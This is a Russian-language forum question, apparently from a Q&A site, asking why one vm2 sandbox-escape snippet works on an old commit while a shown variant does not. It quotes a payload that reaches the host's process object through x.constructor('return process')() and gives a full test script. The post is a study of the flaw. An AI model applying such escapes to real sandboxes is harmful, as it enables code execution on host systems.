• 1000 Я клонировал исходный код vm2 с GitHub и сбросил его на 7ecabb1.
Я знаю, что vm2 более безопасен, чем vm, потому что он блокирует цепочку прототипов через прокси в es6. В приведенном выше коде создается и перехватывается исключение, а затем функция стрелки передается в x = > x.constructor ("return process") ()
; В настоящее время x является прокси-объектом и может получить доступ к внешней функции для выхода
Я также пробую этот код
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
throw function (x) {
debugger;
return x.constructor("return process")();
};
}catch (e) {
e(()=>{});
}`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
Но в этом коде то же самое относится к x => x.constructor ("return process") ()
At на этот раз x является функцией и не может выйти из песочницы, поэтому я очень запутался. В чем причина того, что первый фрагмент кода смог выйти из песочницы vm2?